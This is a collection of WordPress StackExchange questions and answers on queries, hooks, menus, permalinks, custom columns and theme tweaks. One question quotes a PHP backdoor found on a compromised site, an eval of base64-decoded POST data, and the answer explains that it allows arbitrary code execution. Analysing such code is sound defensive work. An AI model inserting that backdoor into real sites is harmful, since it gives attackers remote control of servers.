Without a proper SQL query in the question is not possible to write a proper query in the response, but following your pseudo-code approach: SELECT custom-data FROM custom-table LEFT JOIN wp_users ON custom_data.user_id = wp_users.ID LEFT JOIN wp_usermeta ON wp_users.ID = wp_usermeta.user_id WHERE some-condition AND wp_usermeta.meta_key = 'flag' AND wp_usermeta.meta_value = 'flagvalue' So basically, you need to join against wp_usermeta, which is where you'd be storing your users "flag".
stackexchange-wordpress
{ "answer_score": 1, "question_score": -1, "tags": "plugin development, mysql, user meta" }
Resolve 404 on posts without category I have a lot of 404s on posts without /%category%/ (I have change permalink structure). I have noticed that if I put /anything/ in 404 link as category I'll end up in the right post. How can I solve it? I have around 25k 404s in google console and I need a bulk solution. My thoughts are either to do it in htaccess or in 404.php (preferably). I was thinking to check request in 404.php and if it misses /category/ just to insert any word and make a new request toward WP to resolve the post. Any thoughts?
Ok, resolved it in 404.php <?php $klo_link = $_SERVER['REQUEST_URI']; if (preg_match("/^\/[a-zA-Z0-9\-\_]+\/$/", $klo_link)) { //echo "A match was found. \n"; //echo $klo_link; header("HTTP/1.1 301 Moved Permanently"); header("Location: ".get_bloginfo('url')."/a".$klo_link); exit(); }else { get_header(); } Put that at the beginning of the 404.ph
stackexchange-wordpress
{ "answer_score": 3, "question_score": 0, "tags": "permalinks, redirect, 404 error" }
How do I localize admin-ajax.php that is used in Ajax Load More - Infinite Scroll? I would like to localise the ajaxurl for the plugin Ajax Load More - Infinite Scroll: /* <![CDATA[ */ var alm_localize = {“ajaxurl”:”http:\/\/siteurl\/test\/wp-admin\/admin-ajax.php”,”alm_nonce”:”0dge8w13b3″,”pluginurl”:”http:\/\/homeurl\/test\/wp-content\/plugins\/ajax-load-more”,”scrolltop”:”false”}; /* ]]> * How can this be achieved? Thank you EDIT1: I have come up with this: $localiser = array( 'ajaxurl' => admin_url( 'wp-admin/admin-ajax.php' ), ); wp_localize_script( "ajax-load-more", "alm_localize", $localiser ); How do I register the plugin js? In Load More case, what do I have to register? the main ajax-load-more.js in /core/js in the plugin folder?
You can achieve this using **wp_localize_script** $myData = array( 'ajaxurl' => admin_url( 'admin-ajax.php' ), ); wp_localize_script( "myScript", "alm_localize", $myData ); **NOTE:** **`myScript`** should be the handle of a script which has been registered using `wp_register_script`
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "plugins, ajax" }
$new_pass always returns null - password_reset hook I am trying to catch the username and the new password to update it on the backup server. I need to fetch $new_pass but the password always returns null. add_action( 'password_reset', 'remote_password_update' ); function remote_password_update( $user, $new_pass ) { $username = $user->user_login; //THIS WORKS PERFECTLY $password = $new_pass; //THIS ALWAYS RETURNS NULL } This is pretty basic and straight forward, so I am not sure what the problem is. Any help is highly appreciated!
Note that: add_action( 'password_reset', 'remote_password_update' ); is like calling: add_action( 'password_reset', 'remote_password_update', 10, 1 ); where 10 is the default priority and 1 is the number of arguments. You need: add_action( 'password_reset', 'remote_password_update', 10, 2 ); with 2 as the number of arguments. Now you should be able to access the `$new_pass` input variable.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "hooks, actions" }
How to add specific menu on a specific page or pages I'm looking for help on how to add specific menu on a specific page or pages with no plugin. I know how to add and register a new menu like this: //* Register third navigation menu position function register_additional_menu() { register_nav_menu( 'third-menu' ,__( 'Third Navigation Menu' )); } add_action( 'init', 'register_additional_menu' ); add_action( 'genesis_before_content', 'add_third_nav_genesis' ); function add_third_nav_genesis() { echo'<div class="osastot-valikko">'; wp_nav_menu( array( 'theme_location' => 'third-menu', 'container_class' => 'genesis-nav-menu js-superfish sf-js-enabled sf-arrows' ) ); echo'</div>'; } I would like to have a navigation menu named "Extra Menu" displayed only on three pages (post=6, post=7, post=8). What should I write in my function.php Thanks!
Pages can have a specific template, so just create a new template and add the Menu on it. You can copy the code on pages.php(this is the default page template) of you theme and paste on a new file (like "template-page-with-menu.php"). On the top of the code you must add the Template Name: <?php /* Template Name: Page with Menu */ ?> Then select this template on the pages that you want it. ![enter image description here](
stackexchange-wordpress
{ "answer_score": 2, "question_score": 2, "tags": "php, menus, user registration, genesis theme framework, page specific settings" }
Image caption not rendering on some images - Shapely theme I'm using Shapely theme v1.0.5 on top of Wordpress v4.7.1. I'm writing an article and everything was fine, until I noticed two images didn't have their captions rendered, while the others rendered correctly. ![Captions showing correctly]( Captions showing correctly ![Captions not rendered]( Captions not rendered I tried changing the caption to pass as an atribute, adding caption="" on the shortcode but it didn't render either. How can I fix it?
As I posted in a comment, it turned out to be a glitch. I was using the text editor to edit the html of the page and decided to switch to the visual editor to check things. It turns out that the captions were properly rendered on the visual editor and when I published it the actual page had everything properly rendered.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "captions" }
Do I need a backup plugin if I'm already backing up via cPanel? Do I need to bother using a database/file backup plugin if I'm already backing up my entire site using cPanel (WHM)? Is there a disadvantage either way or are two different tasks at play?
If you are already backing up your website in cpanel (both database and files) then no, you will not need any plugins. However, you will need to access the website through cpanel/ftp to restore the backup. But if you want to restore the backup in the back-end, you can find some plugins that will do the backup/restore without the need of accessing ftp or cpanel. In overall, they both serve the same purpose.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "plugins, server, backup" }
Migrating data from Woocommerce to another webapp Someone told me today that he'd like me to do an ecommerce application for him, the project is huge so I told him that it would take months or a year. He was fine with that but asked me if I could deploy a simple ecommerce website for him meanwhile. There are many options out there but I told him I'd pick Wordpress, it's simple and he's fine with it. Upon completion of the application I'm hired to write, is it simple to migrate, data and user accounts to my application assuming I use Mysql/mariadb? Of course the database scheme will be different.
Simple is relative. All the data you need will be in the WordPress database. You'll need to write some code to export the data from the WordPress mySQL/Maria DB, transform it as needed for your scheme, and then import it. I've done it before, and I would say it's easy for someone who is comfortable with SQL DB and programming.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "woocommerce offtopic, migration" }
wp_mail not sending in test php file I created a test php file which exists in public_html. I also copied it to the wp-content folder. All it does is call: <?php wp_mail('[email protected]','test','hi'); ?> Neither file actually sends the email when I load it in the browser. What am I doing wrong??? I read the codex and from what I can see, nothing else is required as arguments. Thank you for any help!
Your test.php file is a standalone script and isn't part f WordPress so it has no access to the WordPress functions. A simple way to resolve this would be to include **wp-load.php** at the top of your script, but **AFAIK** this is not a good approach as you're loading WordPress over again to use just a single function. In your public_html folder <?php require_once('wp-load.php'); wp_mail('[email protected]','test','hi'); ?>
stackexchange-wordpress
{ "answer_score": 4, "question_score": 0, "tags": "wp mail" }
Variable scope in WordPress functions.php The `functions.php` file for a theme contains functions, called by hooks, that could be called from multiple WordPress pages. The `wp` hook, for example, seems to be on every page. You can decide in each function with `is_page()` which page is calling and whether or not you want to execute the function for that page. What is the scope of variables you declare at the top of `functions.php`, outside of any of the individual functions? Can that variable be read by any page with a hook to the function? Can one page set the variable and another page read it?
_What is the scope of variables you declare at the top of functions.php, outside of any of the individual functions?_ This is a general PHP question... > Variables inside a function are only available inside that function. Variables outside of functions are available anywhere outside of functions, but not inside any function. This means there's one special scope in PHP: the global scope. Any variable declared outside of any function is within this global scope. (read more) _Can that variable be read by any page with a hook to the function?_ If the variable is declared as global, then yes. _Can one page set the variable and another page read it?_ No, only one page is loaded per a loop. And each time you load a page the variable is "forgotten" unless you store it someplace. If you want to set variables, you'll need to use a WP function such as `update_option()` and `get_option()`. This stores the variable in the database.
stackexchange-wordpress
{ "answer_score": 7, "question_score": 4, "tags": "functions" }
plugin css is not being applied to the page? I have enqueue the styles in script using the following code. function libload() { wp_enqueue_style('style_file' , plugin_dir_url(__FILE__).'lib/plugin_styles.css' , array(), '', true); wp_enqueue_script('js_file', plugin_dir_url(__FILE__).'lib/plugin_js.js', array(), null, true); } add_action('wp_enqueue_scripts','libload'); The css file is loading correct style files as well. But the styles are not appearing in the firebug inspect elements nor being applied to the page. The css is the basic one simply a test css. .addtogunbtn { color:red; } but not being applied,.
In wp_enqueue_style()'s 5th parameter is not boolean. Use following code: function libload() { wp_enqueue_style('style_file' , plugin_dir_url(__FILE__).'lib/plugin_styles.css'); wp_enqueue_script('js_file', plugin_dir_url(__FILE__).'lib/plugin_js.js', array(), null, true); } add_action('wp_enqueue_scripts','libload');
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "css" }
String replace Wordpress Site Title I want to get rid of a dash '-' in my Wordpress site title on mobile. To do that, I want to place a span around the dash, something like the below. **Desired Result** <h1 class="site-title">My Site Title <span class="remove-mob">-</span> Is Great</h1> Here's my current PHP code, can anyone suggest an edit, so that I can add the span above around the dash contained within the site title? **Current Code** <h1 class="site-title"><?php bloginfo( 'name' ); ?></h1>
**Method 1** You can do this using JavaScript. First, add an id for your `h1` tag. I will use `mobId` here so your header tag will look like this: <h1 class="site-title" id="mobId">My Site Title - Is Great</h1> Then replace the hyphen with your desired code: <script> var myStr = document.getElementById("mobId").innerHTML; var newStr = myStr.replace("-", "<span class='remove-mob'>-</span>"); document.getElementById("mobId").innerHTML = newStr; </script> It can be written shorter, but i wrote the full code so you know what's going on. **Method 2** Strip using php `str_replace()`: <h1 class="site-title"> <?php echo str_replace("-","<span class='remove-mob'>-</span>", get_bloginfo('name')); ?> </h1> You can save `get_bloginfo();` in a variable and use that in the function instead, in case it happens to return an error because of quotes.
stackexchange-wordpress
{ "answer_score": 3, "question_score": 2, "tags": "php, title, customization" }
Find the user who initially created the post I have created the post by user (A), later I changed the user of the post to (B), Now I want to find out who initially created the post i.e. user (A) who originally created it. How can I achieve this?
There are several approaches to your issue. **1-** Getting the original author inside a loop To retrieve the original author of a post inside a loop, you can use `get_the_author();` to get the username of the author or `$post->post_author();` to get his/her user id. If you wish to get the revisor's username or id, you can use `the_modified_author();` or `get_the_modified_author();`. **2-** In the back-end If you want to have this result in the back-end (view the original author in the admin panel), you can use the following plugin made specifically for this purpose. Published By plugin made by Scott reilly
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "custom post types, posts" }
Change default URL path (/blog/) of blog posts I've tried to research prior questions on this topic but I believe that there was a better solution within the WordPress admin. How does one change the default URL path for blog posts? It was previously */blog/title-of-post (but now the /blog/ part is gone).
You can create any structure you want for this on the permalinks settings page in the dashboard. To set it to your example of /blog/title-of-post Simply navigate to Settings -> Permalink. Select the "Custom Structure" radio button and enter blog/%postname%/ into the text field there, then hit the save changes button.
stackexchange-wordpress
{ "answer_score": 13, "question_score": 9, "tags": "urls" }
Plugin Development for registered users I am new to plugin development for Wordpress but not new to software development. This question is to get an idea of the "best practice" style for the following question. I need to make a form only available to registered users, who ideally have a username that is a specific numbers-only is that they already would have. Ideally, the user would register with this id as their username, their email, name etc. After logging in, they would have access to a form that would be created by a plugin. When they submit the form, it would add data to a custom table created by the plugin. I've seen a lot of resources for managing tables in Wordpress, so that's not an issue. Is there a members plugin that has an API that would allow me to track their id (username) when they submit the form? Should I use the default user capability? What would be the best practice for this situation? Thanks
> only available to registered users If the users are logged in, there have a username and ID to identifier. WordPress have functions to get this data, easy to use. You get as as example the user datas via `wp_get_current_user()` and only the ID of the logged in user via `get_current_user_id()`. The documentation of the functions is inside the codex, there have a lot of documentations about this topic, also examples.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 1, "tags": "plugin development, database, login, forms, membership" }
alt tags of the images are not saving/emtpy When I try to add an alt tag of an image via the library in Wordpress the alt tag is not saving. After leaving and coming back to the library again the alt tag fields are empty. I’ve tried the following solutions which did not fix this problem: Remove and upload the images again Tried several plugins which overwrite the original alt tag Disabled the WP Smush plugin Checked the file permissions I hope someone knows a possible solution. Thanks in advance. Theme that I'm using : <
Try changing the theme to wordpress' default theme, twentyseventeen. It could be an issue with the theme
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "images, conditional tags, seo, plugin wp seo yoast" }
How to remove dashboard access (wp-admin) for author but not disable the capabilities? i want author role can't access wp-admin but still enable the capabilities so they can delete the posts from front end page ?
Use this code in your `functions.php` file or in a plugin- function wpse_253580_prevent_author_access(){ if( current_user_can( 'author' ) && is_admin() ) { // do something here. maybe redirect to homepage wp_safe_redirect( get_bloginfo( 'url' ) ); } } add_action( 'admin_init', 'wpse_253580_prevent_author_access' ); This will check if current user is an **author** and he is trying to access **wp-admin** area. If true, then redirect him to **homepage**.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "wp admin, author, dashboard, user access" }
Use Custiomizer to setup meta theme color tag I am running into a little bit of a wall on how to achieve what I would like and could desperately use some help. My WordPress theme is built for the colors to be changed in Customizer, I have it fully functioning exactly as I need it to (Finally, JQuery Mobile doesn't interact the greatest). Now I am running into one small issue, I am using the meta tag to define browser bar color on Android and Windows phone (Not Apple because they don't support custom colors) `<meta name="theme-color" content="#000000">` This is placed in the `<head>` section inside my header.php file. I would like to grab the color from one of my color options in Customizer and put it in replace of the #000000.
Depending on whether you store your customizer settings as mods or options (which you define with the type parameter when adding a setting) you can simply use `get_option` or `get_theme_mod` in your `header.php` like this: echo '<meta name="theme-color" content="' . get_theme_mod('my_browser_bar_color','#000000') . '">'; This line tells to look for the mod and if it isn't there make the color black. To make this work with js-driven live preview you will also have to add a piece of jquery that appends the line to the `<head>` tag.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "php, theme development, themes, theme customizer" }
Get the number of posts from the current page results I am trying to get the current number of posts that will be present in a page. `$wp_query->found_posts` will give me the total number of posts in the loop. `get_query_var( 'posts_per_page' )` will tell me the number of posts per page. `get_query_var( 'paged' )` will give me the current page number. `sticky posts` seem to not be included in the above. I can do some maths trying to figure out in what page I am, retrieve the number of posts, and consider the sticky. I could also add a counter in the loop, but I am trying to get the number before the loop is applied in the template (front-end). Is there some variable in the `$wp_query` that I am missing for this goal? * * * To make it clear this is an example: Total posts from the loop 22. Posts per page 10. 1 sticky post. * Page 1 should give 11 (10 + 1 sticky). * Page 2 should give 10. * Page 3 should give 2.
I found the solution. I was looking for: $wp_query->post_count And some of my assumptions were not correct. This is the actual output: Total posts from the loop 22. Posts per page 10. 1 sticky post. * Page 1 gives 10 (9 + 1 sticky). * Page 2 gives 10. * Page 3 gives 2.
stackexchange-wordpress
{ "answer_score": 5, "question_score": 4, "tags": "wp query, loop, pagination, query posts, paged" }
Why when I enter bad url wordpress doesn't return error 404 I have simple WordPress site on Apache. I've created a page for blog that the it URL is < My permalink settings is set as "Day and name". The problem is when I enter bad URL and repeat the page name in URL like < it doesn't return 404 page and returns < What is problem?
WordPress will automatically try and guess what the correct URL is. You can disable the feature using the Disable URL Autocorrect Guessing plugin.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "url rewriting, 404 error" }
How to apply a filter to an ACF wysiwig editor field output? i have a filter to change the content on a plugin: add_filter('the_content','replace_content'); Now i am using ACF and i copied over the content from the wordpress editor to a **wysiwig editor field** my filter doesn't affect it anymore. So my question is how can i modify my filter to affect my new wysiwig custom field? I am refering to the front end not the editor itself but the content people sees on the page.
add_filter('acf_the_content', 'replace_content');
stackexchange-wordpress
{ "answer_score": 3, "question_score": 0, "tags": "filters, advanced custom fields" }
Can't create a subdomain network - and WP is installed in webroot, not a folder I can’t do a subdomain network activation, despite my WP install being in my Apache webroot: /var/www/html. My WP install only gives me the option for a subdirectory-based network. > “Because your install is in a directory, the sites in your WordPress network must use sub-directories.” I access my site at < (it’s an private network for now), and WordPress’ index.php is in the webroot. There is no subdirectory for WordPress. I can create/manage/access the base site, but can’t do a subdomain network creation. I’ve blown up the DB and recreated the install, and it behaves the same way. Help please? What can I check? Any hints to resolve? Thanks!
You need to have domain name resolution in order for subdomain Multisite to work. If you don't have a Domain Name Server, you can modify your computer (not your server) `hosts` file). Then, make sure your primary WordPress installation is set to a domain name, such as server.example, and not an IP address.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "multisite, subdomains, network admin" }
Add custom column to custom post type overview in backend I have a custom post type called _events_. In the backend/administration I can list all these custom post types, that is, _events_ : ![enter image description here]( As you can see, there are three columns in this overview: _Title_ , _Tags_ , and _Date_. Each of these _events_ has a custom field named _eventDate_. My question now is, how can I add a sortable _eventDate_ column to the _events_ overview (pictured above)?
Okay, I found an answer myself. To help people who will read this in future, this is what I did: 1) This explains how to add a column: < 2) This explains how to add a sortable column: <
stackexchange-wordpress
{ "answer_score": 6, "question_score": 2, "tags": "custom post types, custom field, admin, columns" }
How do I find (index) file in order to change style on CSS? I am using the basic twenty sixteen theme and I am trying to edit some of the features. For instance I want to edit the sidebar on the right. ![enter image description here]( However, when I open the inspector, it says that the border color is on (index):198. ![enter image description here]( Where do I find that?
The CSS code you refer to is dynamically generated by the theme. The color is set in the customizer under 'Colors' -> 'Primary text color' (Or something similar). The only thin is, this setting changes the color for quite many thigs on the whole site, which is probably not what you want. If you only want to change the color of the borders in the sidebar, you can add some more specific CSS via a plugin or a in a child theme: #secondary .widget { border-color: #123456; } This will then override the generated CSS as it uses a more specific selector.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 2, "tags": "css, theme twenty sixteen" }
Seo Wordpress Pages on google I'm really noob on SEO world, and I can't achive this result: ![enter image description here]( I'm working on my site and it dosen't show on google, but if I look for site:mysite.it it's on but it's just the home page. Look here: ![enter image description here]( What I have to look for? Sorry but don't rate me wrong, I want to learn. So in google page I can see every page ? I can't put them under my homepage, I hope you understand
First thing: When searching for `costruzioniao` google thinks you just misspelled `costruzioni`. It doesn't think of it as being an independent search term yet. This should get better with time, especially if you get more links pointing to your domain. Second thing: Your first screenshot shows a search result with Site links. Google generates them when it thinks direct linking deeper into your page will be helpful for the user. They won't appear if youmake a search of the kind `site:yourdomain.com`. If your website has good content pages with a good structure and google is able to recognize it, they will be created eventually. There is no way to force google to do it and you can't controll it exactly. But there are ways to help google to understand which pages are important. Using Sitemaps/XML Sitemaps and a good semantic link structure within your website helps google to recognise its structure.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 1, "tags": "seo" }
add a Custom Columns to user I have used few custom fields while new user registering, I want those custom fields to be showed in the User table in Admin along with **Username** / **Name** / **Email** / **Role** / **Custom field**
You can use the bellow function for adding custom column to users table: function modify_user_columns($column_headers) { $column_headers['custom_field'] = 'Custom field'; return $column_headers; } add_action('manage_users_columns', 'modify_user_columns'); function custom_admin_css() { echo '<style> .column-custom_field {width: 8%} </style>'; } add_action('admin_head', 'custom_admin_css'); function user_posts_count_column_content($value, $column_name, $user_id) { if ( 'custom_field' == $column_name ) { return 'Value'; } return $value; } add_action('manage_users_custom_column', 'user_posts_count_column_content', 10, 3);
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "users" }
plugin not hooking to my custom hook I am trying to hook my plugin to my custom hook in my header.php but it doesn't seem to work but if i hook to my header through the function.php everything works perfectly. Does anyone have any idea how I can get it to work. header.php <?php logo_hook(); ?> function.php function logo_hook(){ do_action('logo_hook' ); echo 'function is working'; } logo.php //this is my plugin add_action( 'logo_hook', 'displayLogo'); function displayLogo( $text ) { $logo .= 'Plugin text...'; return $text ; }
You should using `do_action` in your header.php do_action( 'logo_hook' ); And adding a value on this section with below function: function add_text() { echo 'Hello world!'; } add_action( 'logo_hook', 'add_text' );
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "plugins, plugin development, functions, hooks" }
If post has non-shortcode string I’m trying to load CSS/JS when the post contains specific text. Lets say when string `table` present, load additional CSS/JS. `has_shortcode` is good but not works for non-shortcode string. Using `has_term` is possible but tedious. Below is `has_shortcode` function for reference: function loadmyshortcode() { global $post; if( is_a( $post, 'WP_Post' ) && has_shortcode( $post->post_content, 'my-shortcode') ) { wp_enqueue_script( 'idnamehere', get_template_directory_uri() . '/js/my-shortcode.js', array(), '', true ); } } add_action( 'wp_enqueue_scripts', 'loadmyshortcode');
That's indeed a basic PHP question. Use `strpos()`. Example: if ( false !== strpos( $post->post_content, 'foo' ) ) { wp_enqueue_script(); } Ps. I suggest you to not hook into `wp_enqueue_scripts()` but a later hooks, e.g. `the_content` and then load the JavaScript in the footer. This works best under all circumstances as `wp_enqueue_scripts` and `wp_head` are called way earlier before the post content is loaded/displayed. See How to add stylesheets only to pages with specific shortcode? for an explanation on this as this question here is basically a duplicate.
stackexchange-wordpress
{ "answer_score": 1, "question_score": -1, "tags": "posts, shortcode" }
Avoid landing page redirects issue in wordpress multisite Recently I configured my website for https and redirected http to https but now in google page speed, I am getting issue of Too many redirects! Can be checked at: And Google explains: Your page has 2 redirects, site is wordpress multisite. Please help me to remove those redirects.. Thanks ![snapshot of google pagespeed](
Solved by editing site url at `wp_site` and `wp_options` tables in database.
stackexchange-wordpress
{ "answer_score": -1, "question_score": 0, "tags": "multisite, optimization" }
How to use if (is_page_template ('')) i use the following code in my functions.php. I want to exclude all pages which use the single.php template. function cat_menu() { if (!is_page_template('single.php')) { $cur_cat = get_query_var('cat'); $new_cats = wp_list_categories('echo=false&child_of=' . $cur_cat .'&depth=1&title_li=&&show_count=0&hide_empty=1'); echo '<ul>' . $new_cats . '</ul>'; }} add_action ( 'genesis_after_header', 'cat_menu' ); But i see the result aslo on pages which use the single.php. Can somebody help me with this?
`is_page_template()` checks against post type templates specified by the theme using /** * Template Name: My Template */ at the top of the template file. Not any arbitrary template file. For this, you might wanna check out the answers over at Get name of the current template file. You could grab the code from the accepted answer there (`get_current_template()`) to do something when `single.php === get_current_template()`.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "functions" }
post_type argument not working correctly with WP_Query I'm trying to filter posts based on the post type. If I add filter `post_type => 'page'`, there will be posts included instead of pages. What would be the problem? The `meta_key` argument does not work either. I have Advanced Custom Fields plugin installed. Here is the code I'm using: $args = get_posts(array( 'numberposts' => -1, 'post_type' => 'page', 'meta_key' => 'top-story', // true-false 'meta_value' => '1' )); $the_query = new WP_Query($args);
Your `$args` array should not have the call to `get_posts()`. `$args` should just be an array: $args = array( 'numberposts' => -1, 'post_type' => 'page', 'meta_key' => 'top-story', // true-false 'meta_value' => '1' ); $the_query = new WP_Query($args);
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "wp query" }
Convert Custom Post Data to Javascript Array for Autocomplete I am creating a metabox that utilizes jQuery Autocomplete to display custom post data. How do I get this data: $args = array( 'post_type' => 'promo' ); $loop = new WP_Query( $args ); while ( $loop->have_posts() ) : $loop->the_post(); foreach((get_the_category()) as $category); echo $category->cat_name. ' - ' .get_the_title(); endwhile; ...into a format that the following Autocomplete code can process? echo '<script> jQuery(document).ready(function($) { var promoList = '.json_encode($array) .'; $( "#auto-promo" ).autocomplete({ source: promoList }); }); </script>';
$args = array( 'post_type' => 'promo' ); $loop = new WP_Query( $args ); $promos = array(); while ( $loop->have_posts() ) : $loop->the_post(); foreach((get_the_category()) as $category); $promos[] = $category->cat_name. ' - ' .get_the_title(); endwhile; echo '<script> jQuery(document).ready(function($) { var promoList = '.json_encode($promos) .'; $( "#auto-promo" ).autocomplete({ source: promoList }); }); </script>';
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "custom post types, metabox, array, json, autocomplete" }
Hide WordPress Plugin Deactivation Links How to hide deactivation link from all WordPress plugin page. ![enter image description here](
There is a filter called `plugin_action_links` that lets you do this. function wpse253902_disable_plugin_deactivation ($actions, $plugin_file, $plugin_data, $context) { if (array_key_exists ('deactivate', $actions)) unset( $actions['deactivate'] ); return $actions; } There is even a filter `plugin_action_links_{plugin_name}` that lets you control the links on individual plugins. If you dive into it, you will find out that you can also use this to define your own links.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 1, "tags": "plugins, filters, hooks" }
How to Get Current Custom Post Type Selected Taxonomy Term (Not All Terms) I need to get ONLY the term (not all terms) of Current Custom Post Type. For example I have a Custom Post type called movies and have a Taxonomy called Genre which has some terms like comedy, action,... now in current post I need to get the used term? $args = array( 'post_type' => 'movies', 'posts_per_page' => 10 ); $loop = new WP_Query( $args ); while ( $loop->have_posts() ) : $loop->the_post(); the_title(); echo '<div class="entry-content">'; the_content(); echo '</div>'; endwhile;
There are several ways to achieve this. **Usingget_the_terms**: $args = array( 'post_type' => 'movies', 'posts_per_page' => 10 ); $loop = new WP_Query( $args ); while ( $loop->have_posts() ) : $loop->the_post(); ?> <?php the_title(); $terms = get_the_terms( get_the_ID(), 'genre' ); if ( is_array( $terms ) ) { //Manipulate array of WP_Term objects } ?> <div class="entry-content"> <?php the_content(); ?> </div> <?php endwhile; ?> **usingget_the_term_list:** $args = array( 'post_type' => 'movies', 'posts_per_page' => 10 ); $loop = new WP_Query( $args ); while ( $loop->have_posts() ) : $loop->the_post(); ?> <?php the_title(); echo get_the_term_list( get_the_ID(), 'genre' ); ?> <div class="entry-content"> <?php the_content(); ?> </div> <?php endwhile; ?>
stackexchange-wordpress
{ "answer_score": 2, "question_score": 1, "tags": "custom post types, plugin development, custom taxonomy, theme development" }
How to recognize and remove malicious code on wordpress? In my wordpress website, I found several brand new file containing this php code: if (isset($_REQUEST["q"]) AND $_REQUEST["q"]=="1"){echo "200"; exit;} if(isset($_POST["key"]) && isset($_POST["chk"]) && $_POST["key"]=="long_strange_code") eval(gzuncompress(base64_decode($_POST["chk"]))); What this code can do actually in Wordpress? Deleting the file is enough to remove the problem? In the last days, the website went down several times with mysql running out of memory. Could be this the cause?
> What this code can do actually in Wordpress? This code allows arbitrary execution of PHP on your server. > Deleting the file is enough to remove the problem? You'll need to delete all files that contain backdoor like this. Look at every file on your system and compare it to the WordPress repository. > In the last days, the website went down several times with mysql running out of memory. Could be this the cause? Yes. It's likely that some bad guy is using your server for nefarious deeds.
stackexchange-wordpress
{ "answer_score": 2, "question_score": -1, "tags": "php" }
Performance impact of using functions in WordPress? I have a website that generates lots of dynamic contents. I'm facing performance issues even on my localhost, on a Corei7 processor. I've tried to disable every unnecessary plugin, and ran p3 performance profiler to see the results. The resulting charts show that most of the loading time is spent on WordPress's core (not plugins). I'm using simple functions like `if()` and `bloginfo('name')` and call metadatas like `get_post_meta()` and `the_permalink()` a lot of times on my pages, one could say maybe up to 50 functions in each page. These functions seem very simple, however i'm not sure how much impact do they have on loading time. Is there a way to find out which parts of the page consume the most time? or is there a general guide to understand how much impact does these functions have on WordPress? Thanks are in orders.
The overhead of PHP function as a mechanism is minimal. After all nearly everything going on is function calls. On a reasonable hardware you will have to ramp up function calls into thousands and tens of thousands to generate significant overhead (as opposed to doing same things with less function calls involved). Worth noting that PHP profilers tend to overestimate the impact of function calls. Xdebug is especially eager to do that. More so just having Xdebug enabled can slow things down in environment heavy on function calls. P3 profiler uses PHP ticks mechanism to profile, which is highly unreliable. For any realistic outlook into performance you need to use a profiler that works on PHP engine level, such as Xdebug or Blackfire. In lack of such your performance troubleshooting options are very limited and basically amount to stuffing code with timers and ripping it apart until you figure out the slow part.
stackexchange-wordpress
{ "answer_score": 3, "question_score": 2, "tags": "performance" }
Add /blog to the "post" post type url This question was already asked million times, but I do have an issue with the very simple solution of adding `/blog/%postname%` to the permalink structure. I've installed several custom post types an d I use the Custom Post Type Permalinks plugin to have a permalink structure of `example.com/cpt_name/parent_cat/child_cat/postname`. This works really well. Now I wanted to add `/blog/` to all my blog posts (default WordPress _Post_ post type). So I added `/blog/%postname%` to my permalink structure and it works well. That was pretty simple... BUT I now checked the permalink for my custom post types. They are `example.com/blog/cpt_name/parent_cat/child_cat/postname` now, which is definitely not what I waned... Do you know a solution that should work in this case?
You can do this by adding this line of code to your Register_post_type $args Function array: $args array 'with_front' => false, this will remove the blog from the front of the CPT that you add this line. Remember to flush permalinks after you add it and save. from the codex: > 'with_front' => bool Should the permalink structure be prepended with the front base. (example: if your permalink structure is /blog/, then your links will be: false->/news/, true->/blog/news/). Defaults to true. you can see further reference here: < or just ask!
stackexchange-wordpress
{ "answer_score": -1, "question_score": 0, "tags": "custom post types, custom taxonomy, permalinks, blog" }
How do I change theme demo I have purchased a theme from envato and the theme came with a bunch of different demos. I am trying to use the "app landing" demo. It has already been installed but I am not able to make it my main page. Can someone help? Thank you! Kelvin
You will need to set the homepage through the settings. As stated in this answer: * Go to `Dashboard -> Settings -> Reading` * Change **Front page displays** from _Your latest posts_ to _A static page_ * In the dropdown beneath this option, select the static Page to use as your Front Page. * If you want to display your blog Posts somewhere, select a static Page to use to display them. To change the **title** of your Front Page: * The Front Page will assume the _Page Title_ of whatever static Page you selected above.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "themes, add theme support" }
why can't I retrieve the comment ID? I wrote a function to update the comment time when a comment goes form unapproved to approved: function ji_update_comment_date($comment){ $commentarr = array( 'comment_ID'=>comment_ID(), //this is where it fails me,I can't get the ID 'comment_date'=>date("Y-m-d H:i:s"), 'comment_date_gmt'=> date("Y-m-d H:i:s") ); wp_update_comment( $commentarr );} add_action('comment_unapproved_to_approved','ji_update_comment_date'); SO the comment_ID() is not working ,I can't seem to get it otherwise my code works perfectly.
So @Jack Johansson and @Dave Romsey helped me to make it work.So I will put the solution here: function ji_update_comment_date($comment,$commentarr){ $comment = get_comment( $comment ); $commentarr = array( 'comment_ID'=>$comment->comment_ID, 'comment_date'=>date("Y-m-d H:i:s"), 'comment_date_gmt'=> date("Y-m-d H:i:s") ); wp_update_comment( $commentarr );} add_action('comment_unapproved_to_approved','ji_update_comment_date'); I don't understand why comment_ID() and get_comment_ID() won't work in this scenario. But get_comment is surely a workaround.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "comments" }
How to convert the argument of wp_list_pages to an array I am working on a theme that calls wp_list_pages('title_li=&sort_column=menu_order') I need to put a walker class in that but the conditions has to be same. I don't understand what 'title_li=&sort_column=menu_order' means and how to convert it to an array with the option to add a walker class ?
Those are arguments in string form, which is just `key=value`, with an ampersand `&` separating each argument. In the form of an array, they would be: array( 'title_li' => '', 'sort_column' => 'menu_order', );
stackexchange-wordpress
